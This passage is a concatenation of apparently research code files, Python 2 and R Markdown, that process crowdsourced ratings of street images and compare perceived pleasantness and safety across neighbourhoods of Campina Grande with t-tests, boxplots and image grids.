city = ""
if len(userInfo[4]) > 0:
city = userInfo[4]
know_campina = userInfo[8]
how_know_campina = userInfo[9].lower()
if (city.lower().find("campina grande") > -1 and city.lower().find("sul") == -1) or (str(userID) in not_local_ids):
city = "campina"
elif len(know_campina) > 0 and len(how_know_campina) > 0 and "yes" in know_campina and ("live" in how_know_campina or "study" in how_know_campina or "work" in how_know_campina):
city = "campina"
else:
city = "notcampina"
#User profile: age, gender, income, education, city, marital status
usersDef[userID] = [userInfo[0].strip(' \t\n\r'), gender, income, educ, city, userInfo[6].lower()]
return usersDef
def readImagesDefinitions(lines):
imagesDef = {}
for line in lines:
data = line.split(",")
imagesDef[urllib.unquote(data[0]).decode('utf8')] = data[1:]
return imagesDef
def convertTo2Classes(input_3cl_file):
input_3cl = pd.read_table(input_3cl_file, sep='\t', encoding='utf8', header=0)
#Remove draws
wodraw_input = input_3cl[(input_3cl.choice != 0)]
wodraw_input.to_csv("classifier_input_wodraw.dat", sep = "\t", index = False)
#Convert to left; not-left
#left_input = input_3cl.copy()
#new_data = left_input.choice.replace(0, 1)
#left_input['choice'] = new_data
#left_input.to_csv("classifier_input_lnl.dat", sep = "\t")
#Convert to right; not-right
#right_input = input_3cl.copy()
#new_data = right_input.choice.replace(0, -1)
#right_input['choice'] = new_data
#right_input.to_csv("classifier_input_rnr.dat", sep = "\t")
if __name__ == "__main__":
if len(sys.argv) < 4:
print "Uso: <action: create or convert> <arquivo com execuções das tarefas> <arquivo com definicoes de tarefas> <arquivo com dados dos usuarios> <lista de usuários marcados como não locais sendo locais> <arquivos com dados das imagens>"
sys.exit(1)
output_file = open("classifier_input_wodraw.dat", "w")
if sys.argv[1].lower() == 'create':
tasksDef = readTasksDefinitions(open(sys.argv[3], 'r').readlines())
not_local_ids_file = open(sys.argv[5], 'r')
not_local_ids = []
for id in not_local_ids_file.readlines():
not_local_ids.append(id.strip(" \n"))
not_local_ids_file.close()
usersDef = readUsersDefinitions(open(sys.argv[4], 'r').readlines(), not_local_ids)
imagesDef = readImagesDefinitions(open(sys.argv[6], 'r').readlines())
print str(imagesDef)
tasksExecution = readTasksExecution(open(sys.argv[2], 'r').readlines(), tasksDef, usersDef, imagesDef, output_file)
elif sys.argv[1].lower() == 'convert':
convertTo2Classes("classifier_input_3classes.dat")
output_file.close()
<file_sep>---
title: "Análise Comparativa (TTests) Bairros"
output: pdf_document
---
#Análise dos Bairros
##Agradável Geral
### Catole x Centro
```{r, echo=FALSE, fig.show='asis', fig.width=3}
library(ggplot2)
source('calculaTTest.R')
catole <- "bairros100/catoleAgradAll.dat"
centro <- "bairros100/centroAgradAll.dat"
liberdade <- "bairros100/liberdadeAgradAll.dat"
color <- "green"
#output1 <- "Catolé Agradável Geral"
#output2 <- "Centro Agradável Geral"
#output3 <- "Liberdade Agradável Geral"
output1 <- "Catolé"
output2 <- "Centro"
output3 <- "Liberdade"
calculateTTests(catole, centro, output1, output2, FALSE)
catoleData <- data1
centroData <- data2
```
### Liberdade x Centro
```{r, echo=FALSE, fig.show='asis', fig.width=3}
calculateTTests(liberdade, centro, output3, output2, FALSE)
liberdadeData <- data1
```
### Catole x Liberdade
```{r, echo=FALSE, fig.show='asis', fig.width=3}
calculateTTests(catole, liberdade, output1, output3, TRUE)
```
### Normalidade Catole, Centro, Liberdade
```{r, echo=FALSE, fig.show='asis', fig.width=2.5}
ggplot(catoleData, aes(y=catoleData$V3, x=c(""))) + geom_boxplot() + geom_point(position = position_jitter(width = 0.2)) + ggtitle(paste(output1))+theme_bw()+ xlab("") + ylab("QScore")+ylim(2, 8)+theme(axis.text=element_text(size=14), axis.title=element_text(size=14))
ggplot(centroData, aes(y=centroData$V3, x=c(""))) + geom_boxplot() + geom_point(position = position_jitter(width = 0.2)) + ggtitle(paste(output2))+theme_bw()+ xlab("") + ylab("QScore")+ylim(2, 8)+theme(axis.text=element_text(size=14), axis.title=element_text(size=14))
ggplot(liberdadeData, aes(y=liberdadeData$V3, x=c(""))) + geom_boxplot() + geom_point(position = position_jitter(width = 0.2)) + ggtitle(paste(output3))+theme_bw()+ xlab("") + ylab("QScore")+ylim(2, 8)+theme(axis.text=element_text(size=14), axis.title=element_text(size=14))
catoleData$bairro <- "Catolé"
catoleData$questao <- "Pleasant"
centroData$bairro <- "Centro"
centroData$questao <- "Pleasant"
liberdadeData$bairro <- "Liberdade"
liberdadeData$questao <- "Pleasant"
#os3 <- rbind(catoleData, centroData, liberdadeData)
#ggplot(os3, aes(y=V3, x = bairro)) +
# geom_boxplot() +
#geom_point(position = position_jitter(width = 0.15), size = 4, alpha = 0.6) +
#theme_bw()+ xlab("") +
#ylab("QScore")+ylim(2, 8)+
#theme(axis.text=element_text(size=14), axis.title=element_text(size=14))
qqnorm(catoleData$V3)
qqline(catoleData$V3)
qqnorm(centroData$V3)
qqline(centroData$V3)
qqnorm(liberdadeData$V3)
qqline(liberdadeData$V3)
```
##Seguranca Geral
### Catole x Centro
```{r, echo=FALSE, fig.show='asis', fig.width=3}
catole <- "bairros100/catoleSegAll.dat"
centro <- "bairros100/centroSegAll.dat"
liberdade <- "bairros100/liberdadeSegAll.dat"
color <- "green"
#output1 <- "Catolé Segurança"
#output2 <- "Centro Segurança"
#output3 <- "Liberdade Segurança"
output1 <- "Catolé"
output2 <- "Centro"
output3 <- "Liberdade"
calculateTTests(catole, centro, output1, output2, TRUE)
catoleDataSeg <- data1
centroDataSeg <- data2
```
### Liberdade x Centro
```{r, echo=FALSE, fig.show='asis', fig.width=3}
calculateTTests(liberdade, centro, output3, output2, TRUE)
liberdadeDataSeg <- data1
```
### Catole x Liberdade
```{r, echo=FALSE, fig.show='asis', fig.width=3}
calculateTTests(catole, liberdade, output1, output3, TRUE)
```
### Normalidade Catole, Centro, Liberdade
```{r, echo=FALSE, fig.show='asis', fig.width=2.5}
ggplot(catoleData, aes(y=catoleData$V3, x=c("")))+geom_boxplot()+ geom_point(position = position_jitter(width = 0.2)) + ggtitle(paste(output1))+theme_bw()+ xlab("") + ylab("QScore")+ ylim(2, 7)+theme(axis.text=element_text(size=14), axis.title=element_text(size=14))
ggplot(centroData, aes(y=centroData$V3, x=c("")))+geom_boxplot() + geom_point(position = position_jitter(width = 0.2))+ ggtitle(paste(output2))+theme_bw()+ xlab("") + ylab("QScore")+ ylim(2, 7)+theme(axis.text=element_text(size=14), axis.title=element_text(size=14))
ggplot(liberdadeData, aes(y=liberdadeData$V3, x=c("")))+geom_boxplot()+ geom_point(position = position_jitter(width = 0.2)) + ggtitle(paste( output3))+theme_bw()+ xlab("") + ylab("QScore") + ylim(2, 7)+theme(axis.text=element_text(size=14), axis.title=element_text(size=14))
catoleDataSeg$bairro <- "Catolé"
catoleDataSeg$questao <- "Safeness"
centroDataSeg$bairro <- "Centro"
centroDataSeg$questao <- "Safeness"
liberdadeDataSeg$bairro <- "Liberdade"
liberdadeDataSeg$questao <- "Safeness"
os3 <- rbind(catoleData, centroData, liberdadeData, catoleDataSeg, centroDataSeg, liberdadeDataSeg)
w = 8
h = 7
pdf("boxGeral.pdf", width = w, height = h)
ggplot(os3, aes(y=V3, x = bairro)) +
geom_boxplot() +
geom_point(position = position_jitter(width = 0.15), size = 3, alpha = 0.6) +
theme_bw()+ xlab("") +
ylab("QScore")+ylim(2, 8)+
theme(axis.text=element_text(size=16), axis.title=element_text(size=16), strip.text = element_text(size=16))+facet_grid(.~ questao)
dev.off()
qqnorm(catoleData$V3)
qqline(catoleData$V3)
qqnorm(centroData$V3)
qqline(centroData$V3)
qqnorm(liberdadeData$V3)
qqline(liberdadeData$V3)
```
##Jovem Agradável
### Catole x Centro
```{r, echo=FALSE, fig.show='asis', fig.width=3}
source('calculaTTest.R')
catole <- "bairros100/catoleAgradJovemAll.dat"
centro <- "bairros100/centroAgradJovemAll.dat"
liberdade <- "bairros100/liberdadeAgradJovemAll.dat"
color <- "green"
output1 <- "Catole Agrad Jov"
output2 <- "Centro Agrad Jov"
output3 <- "Liberdade Agrad Jov"
calculateTTests(catole, centro, output1, output2, color, TRUE)
catoleData <- data1
centroData <- data2
```
### Liberdade x Centro
```{r, echo=FALSE, fig.show='asis', fig.width=3}
calculateTTests(liberdade, centro, output3, output2, color, TRUE)
liberdadeData <- data1
```
### Catole x Liberdade
```{r, echo=FALSE, fig.show='asis', fig.width=3}
calculateTTests(catole, liberdade, output1, output3, color, TRUE)
```
### Normalidade Catole, Centro, Liberdade
```{r, echo=FALSE, fig.show='asis', fig.width=3}
ggplot(catoleData, aes(y=catoleData$V3, x=c(output1)))+geom_boxplot() + ggtitle(paste("Boxplot ", output1))
ggplot(centroData, aes(y=centroData$V3, x=c(output2)))+geom_boxplot() + ggtitle(paste("Boxplot ", output2))
ggplot(liberdadeData, aes(y=liberdadeData$V3, x=c(output3)))+geom_boxplot() + ggtitle(paste("Boxplot ", output3))
summary(liberdadeData)
summary(catoleData)
summary(centroData)
qqnorm(catoleData$V3)
qqline(catoleData$V3)
qqnorm(centroData$V3)
qqline(centroData$V3)
qqnorm(liberdadeData$V3)
qqline(liberdadeData$V3)
```
##Jovem Segurança
### Catole x Centro
```{r, echo=FALSE, fig.show='asis', fig.width=3}
source('calculaTTest.R')
catole <- "bairros100/catoleSegJovemAll.dat"
centro <- "bairros100/centroSegJovemAll.dat"
liberdade <- "bairros100/liberdadeSegJovemAll.dat"
color <- "green"
output1 <- "Catole Seg Jov"
output2 <- "Centro Seg Jov"
output3 <- "Liberdade Seg Jov"
calculateTTests(catole, centro, output1, output2, color, TRUE)
catoleData <- data1
centroData <- data2
```
### Liberdade x Centro
```{r, echo=FALSE, fig.show='asis', fig.width=3}
calculateTTests(liberdade, centro, output3, output2, color, TRUE)
liberdadeData <- data1
```
### Catole x Liberdade
```{r, echo=FALSE, fig.show='asis', fig.width=3}
calculateTTests(catole, liberdade, output1, output3, color, TRUE)
```
### Normalidade Catole, Centro, Liberdade
```{r, echo=FALSE, fig.show='asis', fig.width=3}
ggplot(catoleData, aes(y=catoleData$V3, x=c(output1)))+geom_boxplot() + ggtitle(paste("Boxplot ", output1))
ggplot(centroData, aes(y=centroData$V3, x=c(output2)))+geom_boxplot() + ggtitle(paste("Boxplot ", output2))
ggplot(liberdadeData, aes(y=liberdadeData$V3, x=c(output3)))+geom_boxplot() + ggtitle(paste("Boxplot ", output3))
qqnorm(catoleData$V3)
qqline(catoleData$V3)
qqnorm(centroData$V3)
qqline(centroData$V3)
qqnorm(liberdadeData$V3)
qqline(liberdadeData$V3)
```
##Adulto Agradável
### Catole x Centro
```{r, echo=FALSE, fig.show='asis', fig.width=3}
source('calculaTTest.R')
catole <- "bairros100/catoleAgradAdultoAll.dat"
centro <- "bairros100/centroAgradAdultoAll.dat"
liberdade <- "bairros100/liberdadeAgradAdultoAll.dat"
color <- "green"
output1 <- "Catole Agra Adu"
output2 <- "Centro Agra Adu"
output3 <- "Liberdade Agra Adu"
calculateTTests(catole, centro, output1, output2, color, TRUE)
catoleData <- data1
centroData <- data2
```
### Liberdade x Centro
```{r, echo=FALSE, fig.show='asis', fig.width=3}
calculateTTests(liberdade, centro, output3, output2, color, TRUE)
liberdadeData <- data1
```
### Catole x Liberdade
```{r, echo=FALSE, fig.show='asis', fig.width=3}
calculateTTests(catole, liberdade, output1, output3, color, TRUE)
```
### Normalidade Catole, Centro, Liberdade
```{r, echo=FALSE, fig.show='asis', fig.width=3}
ggplot(catoleData, aes(y=catoleData$V3, x=c(output1)))+geom_boxplot() + ggtitle(paste("Boxplot ", output1))
ggplot(centroData, aes(y=centroData$V3, x=c(output2)))+geom_boxplot() + ggtitle(paste("Boxplot ", output2))
ggplot(liberdadeData, aes(y=liberdadeData$V3, x=c(output3)))+geom_boxplot() + ggtitle(paste("Boxplot ", output3))
summary(liberdadeData)
summary(catoleData)
summary(centroData)
qqnorm(catoleData$V3)
qqline(catoleData$V3)
qqnorm(centroData$V3)
qqline(centroData$V3)
qqnorm(liberdadeData$V3)
qqline(liberdadeData$V3)
```
##Adulto Seguranca
### Catole x Centro
```{r, echo=FALSE, fig.show='asis', fig.width=3}
source('calculaTTest.R')
catole <- "bairros100/catoleSegAdultoAll.dat"
centro <- "bairros100/centroSegAdultoAll.dat"
liberdade <- "bairros100/liberdadeSegAdultoAll.dat"
color <- "green"
output1 <- "Catole Seg Adu"
output2 <- "Centro Seg Adu"
output3 <- "Liberdade Seg Adu"
calculateTTests(catole, centro, output1, output2, color, TRUE)
catoleData <- data1
centroData <- data2
```
### Liberdade x Centro
```{r, echo=FALSE, fig.show='asis', fig.width=3}
calculateTTests(liberdade, centro, output3, output2, color, TRUE)
liberdadeData <- data1
```
### Catole x Liberdade
```{r, echo=FALSE, fig.show='asis', fig.width=3}
calculateTTests(catole, liberdade, output1, output3, color, TRUE)
```
### Normalidade Catole, Centro, Liberdade
```{r, echo=FALSE, fig.show='asis', fig.width=3}
ggplot(catoleData, aes(y=catoleData$V3, x=c(output1)))+geom_boxplot() + ggtitle(paste("Boxplot ", output1))
ggplot(centroData, aes(y=centroData$V3, x=c(output2)))+geom_boxplot() + ggtitle(paste("Boxplot ", output2))
ggplot(liberdadeData, aes(y=liberdadeData$V3, x=c(output3)))+geom_boxplot() + ggtitle(paste("Boxplot ", output3))
qqnorm(catoleData$V3)
qqline(catoleData$V3)
qqnorm(centroData$V3)
qqline(centroData$V3)
qqnorm(liberdadeData$V3)
qqline(liberdadeData$V3)
```
##Baixa Agradável
### Catole x Centro
```{r, echo=FALSE, fig.show='asis', fig.width=3}
source('calculaTTest.R')
catole <- "bairros100/catoleAgradBaixaAll.dat"
centro <- "bairros100/centroAgradBaixaAll.dat"
liberdade <- "bairros100/liberdadeAgradBaixaAll.dat"
color <- "green"
output1 <- "Catole Agrad Baixa"
output2 <- "Centro Agrad Baixa"
output3 <- "Liberdade Agrad Baixa"
calculateTTests(catole, centro, output1, output2, color, TRUE)
catoleData <- data1
centroData <- data2
```
### Liberdade x Centro
```{r, echo=FALSE, fig.show='asis', fig.width=3}
calculateTTests(liberdade, centro, output3, output2, color, TRUE)
liberdadeData <- data1
```
### Catole x Liberdade
```{r, echo=FALSE, fig.show='asis', fig.width=3}
calculateTTests(catole, liberdade, output1, output3, color, TRUE)
```
### Normalidade Catole, Centro, Liberdade
```{r, echo=FALSE, fig.show='asis', fig.width=3}
ggplot(catoleData, aes(y=catoleData$V3, x=c(output1)))+geom_boxplot() + ggtitle(paste("Boxplot ", output1))
ggplot(centroData, aes(y=centroData$V3, x=c(output2)))+geom_boxplot() + ggtitle(paste("Boxplot ", output2))
ggplot(liberdadeData, aes(y=liberdadeData$V3, x=c(output3)))+geom_boxplot() + ggtitle(paste("Boxplot ", output3))
qqnorm(catoleData$V3)
qqline(catoleData$V3)
qqnorm(centroData$V3)
qqline(centroData$V3)
qqnorm(liberdadeData$V3)
qqline(liberdadeData$V3)
```
##Baixa Segurança
### Catole x Centro
```{r, echo=FALSE, fig.show='asis', fig.width=3}
source('calculaTTest.R')
catole <- "bairros100/catoleSegBaixaAll.dat"
centro <- "bairros100/centroSegBaixaAll.dat"
liberdade <- "bairros100/liberdadeSegBaixaAll.dat"
color <- "green"
output1 <- "Catole Seg Baixa"
output2 <- "Centro Seg Baixa"
output3 <- "Liberdade Seg Baixa"
calculateTTests(catole, centro, output1, output2, color, TRUE)
catoleData <- data1
centroData <- data2
```
### Liberdade x Centro
```{r, echo=FALSE, fig.show='asis', fig.width=3}
calculateTTests(liberdade, centro, output3, output2, color, TRUE)
liberdadeData <- data1
```
### Catole x Liberdade
```{r, echo=FALSE, fig.show='asis', fig.width=3}
calculateTTests(catole, liberdade, output1, output3, color, TRUE)
```
### Normalidade Catole, Centro, Liberdade
```{r, echo=FALSE, fig.show='asis', fig.width=3}
ggplot(catoleData, aes(y=catoleData$V3, x=c(output1)))+geom_boxplot() + ggtitle(paste("Boxplot ", output1))
ggplot(centroData, aes(y=centroData$V3, x=c(output2)))+geom_boxplot() + ggtitle(paste("Boxplot ", output2))
ggplot(liberdadeData, aes(y=liberdadeData$V3, x=c(output3)))+geom_boxplot() + ggtitle(paste("Boxplot ", output3))
qqnorm(catoleData$V3)
qqline(catoleData$V3)
qqnorm(centroData$V3)
qqline(centroData$V3)
qqnorm(liberdadeData$V3)
qqline(liberdadeData$V3)
```
##Media Agradável
### Catole x Centro
```{r, echo=FALSE, fig.show='asis', fig.width=3}
source('calculaTTest.R')
catole <- "bairros100/catoleAgradMediaAll.dat"
centro <- "bairros100/centroAgradMediaAll.dat"
liberdade <- "bairros100/liberdadeAgradMediaAll.dat"
color <- "green"
output1 <- "Catole Agrad Media"
output2 <- "Centro Agrad Media"
output3 <- "Liberdade Agrad Media"
calculateTTests(catole, centro, output1, output2, color, TRUE)
catoleData <- data1
centroData <- data2
```
### Liberdade x Centro
```{r, echo=FALSE, fig.show='asis', fig.width=3}
calculateTTests(liberdade, centro, output3, output2, color, TRUE)
liberdadeData <- data1
```
### Catole x Liberdade
```{r, echo=FALSE, fig.show='asis', fig.width=3}
calculateTTests(catole, liberdade, output1, output3, color, TRUE)
```
### Normalidade Catole, Centro, Liberdade
```{r, echo=FALSE, fig.show='asis', fig.width=3}
ggplot(catoleData, aes(y=catoleData$V3, x=c(output1)))+geom_boxplot() + ggtitle(paste("Boxplot ", output1))
ggplot(centroData, aes(y=centroData$V3, x=c(output2)))+geom_boxplot() + ggtitle(paste("Boxplot ", output2))
ggplot(liberdadeData, aes(y=liberdadeData$V3, x=c(output3)))+geom_boxplot() + ggtitle(paste("Boxplot ", output3))
qqnorm(catoleData$V3)
qqline(catoleData$V3)
qqnorm(centroData$V3)
qqline(centroData$V3)
qqnorm(liberdadeData$V3)
qqline(liberdadeData$V3)
```
##Media Segurança
### Catole x Centro
```{r, echo=FALSE, fig.show='asis', fig.width=3}
source('calculaTTest.R')
catole <- "bairros100/catoleSegMediaAll.dat"
centro <- "bairros100/centroSegMediaAll.dat"
liberdade <- "bairros100/liberdadeSegMediaAll.dat"
color <- "green"
output1 <- "Catole Seg Media"
output2 <- "Centro Seg Media"
output3 <- "Liberdade Seg Media"
calculateTTests(catole, centro, output1, output2, color, TRUE)
catoleData <- data1
centroData <- data2
```
### Liberdade x Centro
```{r, echo=FALSE, fig.show='asis', fig.width=3}
calculateTTests(liberdade, centro, output3, output2, color, TRUE)
liberdadeData <- data1
```
### Catole x Liberdade
```{r, echo=FALSE, fig.show='asis', fig.width=3}
calculateTTests(catole, liberdade, output1, output3, color, TRUE)
```
### Normalidade Catole, Centro, Liberdade
```{r, echo=FALSE, fig.show='asis', fig.width=3}
ggplot(catoleData, aes(y=catoleData$V3, x=c(output1)))+geom_boxplot() + ggtitle(paste("Boxplot ", output1))
ggplot(centroData, aes(y=centroData$V3, x=c(output2)))+geom_boxplot() + ggtitle(paste("Boxplot ", output2))
ggplot(liberdadeData, aes(y=liberdadeData$V3, x=c(output3)))+geom_boxplot() + ggtitle(paste("Boxplot ", output3))
qqnorm(catoleData$V3)
qqline(catoleData$V3)
qqnorm(centroData$V3)
qqline(centroData$V3)
qqnorm(liberdadeData$V3)
qqline(liberdadeData$V3)
```
<file_sep>import sys
import csv
from sets import Set
def parseFeaturesData(lines, group):
""" Reading features data """
if group == "g1":
questions = ["question1", "question2__left_side", "question2__right_side", "question3"]
elif group == "g2":
questions = ["question1", "question2__left_side", "question2__right_side", "question3"]
elif group == "g3":
questions = ["question1__left_side", "question1__right_side", "question2__left_side", "question2__right_side", "question3__left_side", "question3__right_side"]
elif group == "g4":
questions = ["question1", "question2"]
elif group == "g5":
questions = ["question1", "your_answer_is"]
elif group == "g6":
questions = ["question1__left_side", "question1__right_side", "question2__left_side", "question2__right_side"]
elif group == "g7":
questions = ["question1", "question2", "question3__left_side", "question3__right_side"]
elif group == "g8":
questions = ["question1", "question2__left_side", "question2_right_side", "question3__left_side", "question3_right_side"]
elif group == "g9":
questions = ["question1__left_side", "question1__right_side"]
elif group == "g10":
questions = ["question1", "question2", "question3"]
elif group == "g11":
questions = ["question2__left_side", "question2__right_side", "question3__left_side", "question3__right_side"]
elif group == "g12":
questions = ["question1", "question2__left_side", "question2__right_side", "question3"]
elif group == "g13":
questions = ["question1__left_side", "question1__right_side", "question2__left_side", "question2__right_side"]
featuresMatrix = {}
allImages = Set([])
usersTasksMatrixSeg = {}
allTasksSeg = Set([])
i = 0
for line in lines:
if i == 0:
headers = line
indexes = []
questions.insert(0, "image_url")
for quest in questions:
indexes.append(headers.index(quest))
else:
data = line
workerID = int(data[9])
image_data = data[indexes[0]].split("/")
if len(image_data) > 1:
image_url = image_data[5]+"/"+image_data[6]
answers = []
for index in indexes[1:]:
if len(data[index]) == 0:
answers.append("NA")
else:
answers.append(data[index])
allImages.add(image_url)
#Checking if worker data already exists
if workerID in featuresMatrix.keys():
tasksInfo = featuresMatrix[workerID]
else:
tasksInfo = {}
tasksInfo[image_url] = answers
featuresMatrix[workerID] = tasksInfo
i = i+1
#Iterating through images in ascending order
currentImages = list(allImages)
currentImages.sort()
for index in range(1, len(questions)):
outputFile = open(group+"_"+questions[index]+".dat", 'w')
outputFile.write("workerID\t")
print questions
for index2 in range(0, len(currentImages)):
outputFile.write("im"+str(index2)+"\t")
outputFile.write("\n")
for workerID in featuresMatrix.keys():
outputFile.write(str(workerID)+"\t")
for image in currentImages:
if not image in featuresMatrix[workerID].keys():
outputFile.write("NA\t")
else:
value = featuresMatrix[workerID][image]
print value
outputFile.write(str(value[index-1])+"\t")
outputFile.write("\n")
outputFile.close()
if __name__ == "__main__":
if len(sys.argv) < 3:
print "Uso: <crowdflower file> <group>"
sys.exit(1)
dataFile = csv.reader(open(sys.argv[1], 'r'))
group = sys.argv[2]
usersTasks = parseFeaturesData(dataFile, group)
<file_sep>---
title: "Pontos Notáveis"
output:
html_document:
self_contained: no
pdf_document: default
---
<style>
body .main-container {
max-width: 100%;
margin-left: 20px;
margin-right: auto;
}
</style>
Pontos notáveis (positivos e negativos) apontados por nosso método e descrição.
```{r setup, include=FALSE}
cat("<br/>")
library("ggplot2")
library("dplyr")
library("knitr")
library("texreg")
library("ineq")
library(R.utils)
library("knitr")
library("spdep")
library("reshape")
library("fitdistrplus")
multiplot <- function(..., plotlist=NULL, file, cols=1, layout=NULL) {
library(grid)
# Make a list from the ... arguments and plotlist
plots <- c(list(...), plotlist)
numPlots = length(plots)
# If layout is NULL, then use 'cols' to determine layout
if (is.null(layout)) {
# Make the panel
# ncol: Number of columns of plots
# nrow: Number of rows needed, calculated from # of cols
layout <- matrix(seq(1, cols * ceiling(numPlots/cols)),
ncol = cols, nrow = ceiling(numPlots/cols))
}
if (numPlots==1) {
print(plots[[1]])
} else {
# Set up the page
grid.newpage()
pushViewport(viewport(layout = grid.layout(nrow(layout), ncol(layout))))
# Make each plot, in the correct location
for (i in 1:numPlots) {
# Get the i,j matrix positions of the regions that contain this subplot
matchidx <- as.data.frame(which(layout == i, arr.ind = TRUE))
print(plots[[i]], vp = viewport(layout.pos.row = matchidx$row,
layout.pos.col = matchidx$col))
}
}
}
best_folder <- "../../percepcaoLocal/agradavel/melhores/intersects/"
worst_folder <- "../../percepcaoLocal/agradavel/piores/intersects/"
show_street_data <- function (current_df, all_data, force_split, highlighted_positive, best_folder, worst_folder, highlighted_neutral){
color_space <- c("#000000", "#001900", "#003300", "#004c00", "#006600", "#007f00", "#009900", "#00b200", "#00cc00", "#00e500", "#00ff00", "#ffffff")
step <- (max(all_data$qscore) - min(all_data$qscore)) / length(color_space)
thresholds <- seq(min(all_data$qscore), max(all_data$qscore), step)
cat("<div class='row'>")
angleData = c()
for(i in 1:nrow(current_df)) {
row <- current_df[i,]
street <- as.character(row$street)
photo_name <- as.character(row$url) #as.character(row$photo_name)
number <- row$num
angl <- row$angle
score <- row$qscore
angleData <- append(angleData, score)
filtered <- filter(highlighted_positive, num==number & angle == angl)
filtered_neutral <- filter(highlighted_neutral, num==number & angle == angl)
folder <- "none"
font_color <- "white"
if (nrow(filtered) > 0){
color_index <- 11
if (file.exists(paste(best_folder, photo_name, sep=""))){
url <- photo_name#paste(best_folder, photo_name, sep="")
folder <- "best"
}else if (file.exists(paste(worst_folder, photo_name, sep=""))){
url <- photo_name#paste(worst_folder, photo_name, sep="")
folder <- "worst"
}else{
url <- as.character(row$url)
}
}else if (nrow(filtered_neutral) > 0){
color_index <- 12
font_color <- "black"
if (file.exists(paste(best_folder, photo_name, sep=""))){
url <- photo_name#paste(best_folder, photo_name, sep="")
folder <- "best"
}else if (file.exists(paste(worst_folder, photo_name, sep=""))){
url <- photo_name#paste(worst_folder, photo_name, sep="")
folder <- "worst"
}else{
url <- as.character(row$url)
}
}
else{
color_index <- 1
if (file.exists(paste(worst_folder, photo_name, sep=""))){
url <- photo_name#paste(worst_folder, photo_name, sep="")
folder <- "worst"
}else if (file.exists(paste(best_folder, photo_name, sep=""))){
url <- photo_name#paste(best_folder, photo_name, sep="")
folder <- "best"
}else{
url <- as.character(row$url)
}
}
cat(paste("<div class='col-xs-3' style=\"background-color:", color_space[color_index],"\">", sep=""))
cat("<img src='", url,"' width='300px'>", sep = "")
cat("<p style=\"color:",font_color,";font-size:90%\">", number, "-", angl, "-> ", score, "</p>", sep="")#folder, "-",
cat("</div>")
#End of row with 4 images
if(force_split && i%%4 == 0){
cat("<div class=\"col-xs-12\" style=\"height:1000px;\"></div>")
}
}
}
```
```{r results='asis', echo=FALSE, out.extra='', fig.height=10, fig.width=12, warning=FALSE}
#Checking sample size
scores_data <- read.table("../all100/all_ordenado.dat")
scores_data$sd <- apply(scores_data[,4:ncol(scores_data)], 1, sd)
scores_data$n <- ( 1.96 * scores_data$sd / 0.2) ** 2 #All QScores
scores_data$ci <- scores_data$sd * 1.96 / sqrt(100)
novoV2 <- lapply(as.character(scores_data$V2), function (x) strsplit(x, split="/", fixed=TRUE)[[1]][7])
novoV2 <- unlist(lapply(novoV2, '[[', 1))
novoV2 <- strsplit(novoV2, split="\\.jpg")
photo <- unlist(lapply(novoV2, '[[', 1))
scores_data$photo_name <- photo
scores_data <- arrange(scores_data, photo_name)
qscoresDFGeral <- read.csv("../qscores-df-geral.csv", header = TRUE)
qscoresDFCampina<- read.csv("../qscores-df-campina.csv", header = TRUE)
qscoresDFNotCampina <- read.csv("../qscores-df-notcampina.csv", header = TRUE)
#Plotting Q-Scores through the street
all_data <- merge(qscoresDFGeral, scores_data, by.x = "url", by.y="V2")#qscoresDFGeral
all_data$street <- as.character(all_data$street)
all_data$street <- factor(all_data$street, levels=unique(all_data$street))
```
#\#\#\# Rua 1
Ponto máximo e mínimo
```{r results='asis', echo=FALSE, fig.height=20, fig.width=12, warning=FALSE}
cristina <- dplyr::filter(all_data, street == "R._Cristina_Procópio_Silva") %>% dplyr::group_by(num) %>% dplyr::arrange(street, num, angle) %>% dplyr::select(url, photo_name, street, num, angle, qscore, V3, ci)
cat("<br/>")
max_point <- filter(cristina, qscore == max(cristina$qscore))
cat(paste("<div class='col-xs-6' style=\"background-color:", "#00ff00","\">", sep=""))
cat("<img src='", as.character(max_point$url),"' width='600px'>", sep = "")# paste(best_folder, max_point$photo_name, sep="")
cat("<p style=\"color:black;font-size:90%\">", max_point$num, "- ", max_point$angle, "-", max_point$qscore, "</p>", sep="")
cat("</div>")
min_point <- filter(cristina, qscore == min(cristina$qscore))
cat(paste("<div class='col-xs-6' style=\"background-color:", "#000000","\">", sep=""))
cat("<img src='", as.character(min_point$url),"' width='600px'>", sep = "")#as.character(min_point$url)
cat("<p style=\"color:white;font-size:90%\">", min_point$num, "- ", min_point$angle, "-", min_point$qscore, "</p>", sep="")
cat("</div>")
cat("<br/>")
```
Pontos notáveis destacados por ponto na rua
```{r results='asis', echo=FALSE, fig.height=20, fig.width=12, warning=FALSE}
cat("<br/>")
highlighted_positive <- data.frame(num=c(2, 66, 66, 66, 105, 105, 160, 160, 160, 160, 210, 210, 210, 210, 261, 261, 261, 305, 350, 436, 436), angle=c(135, 45, 315, 225, 135, 225, 45, 135, 225, 315, 45, 135, 225, 315, 22, 315, 225, 293, 45, 135, 315))
highlighted_neutral <- data.frame(num=c(2, 105, 105, 305, 350, 436), angle=c(225, 45, 315, 45, 315, 22))
show_street_data(cristina, all_data, TRUE, highlighted_positive, best_folder, worst_folder, highlighted_neutral)
cat("<div class=\"col-xs-12\" style=\"height:300px;\"></div>")
```
Descrição da rua
* Média/mediana: 4.97/5.21 > 4.69/4.80 -> rua de mediana para boa, a mais heterogênea do conjunto!
* Variação no surprise? Variações ao longo da rua, alternando locais legais e não tão legais
* Lado melhor? Side1 (5) x Side2 (5)
* Região melhor? não fica claro no surprise, mas **nos scores pode-se falar do 66 e o 210**
#\#\#\# Rua 2
Ponto máximo e mínimo
```{r results='asis', echo=FALSE, fig.height=20, fig.width=12, warning=FALSE}
floriano <- dplyr::filter(all_data, street == "Av._Mal._Floriano_Peixoto") %>% dplyr::group_by(num) %>% dplyr::arrange(street, num, angle) %>% dplyr::select(url, photo_name, street, num, angle, qscore, V3, ci)
cat("<br/>")
max_point <- filter(floriano, qscore == max(floriano$qscore))
cat(paste("<div class='col-xs-6' style=\"background-color:", "#00ff00","\">", sep=""))
cat("<img src='", as.character(max_point$url),"' width='600px'>", sep = "")#
cat("<p style=\"color:black;font-size:90%\">", max_point$num, "- ", max_point$angle, "-", max_point$qscore, "</p>", sep="")
cat("</div>")
min_point <- filter(floriano, qscore == min(floriano$qscore))
cat(paste("<div class='col-xs-6' style=\"background-color:", "#000000","\">", sep=""))
cat("<img src='", as.character(min_point$url),"' width='600px'>", sep = "")#
cat("<p style=\"color:white;font-size:90%\">", min_point$num, "- ", min_point$angle, "-", min_point$qscore, "</p>", sep="")
cat("</div>")
cat("<br/>")
```
Pontos notáveis destacados por ponto na rua
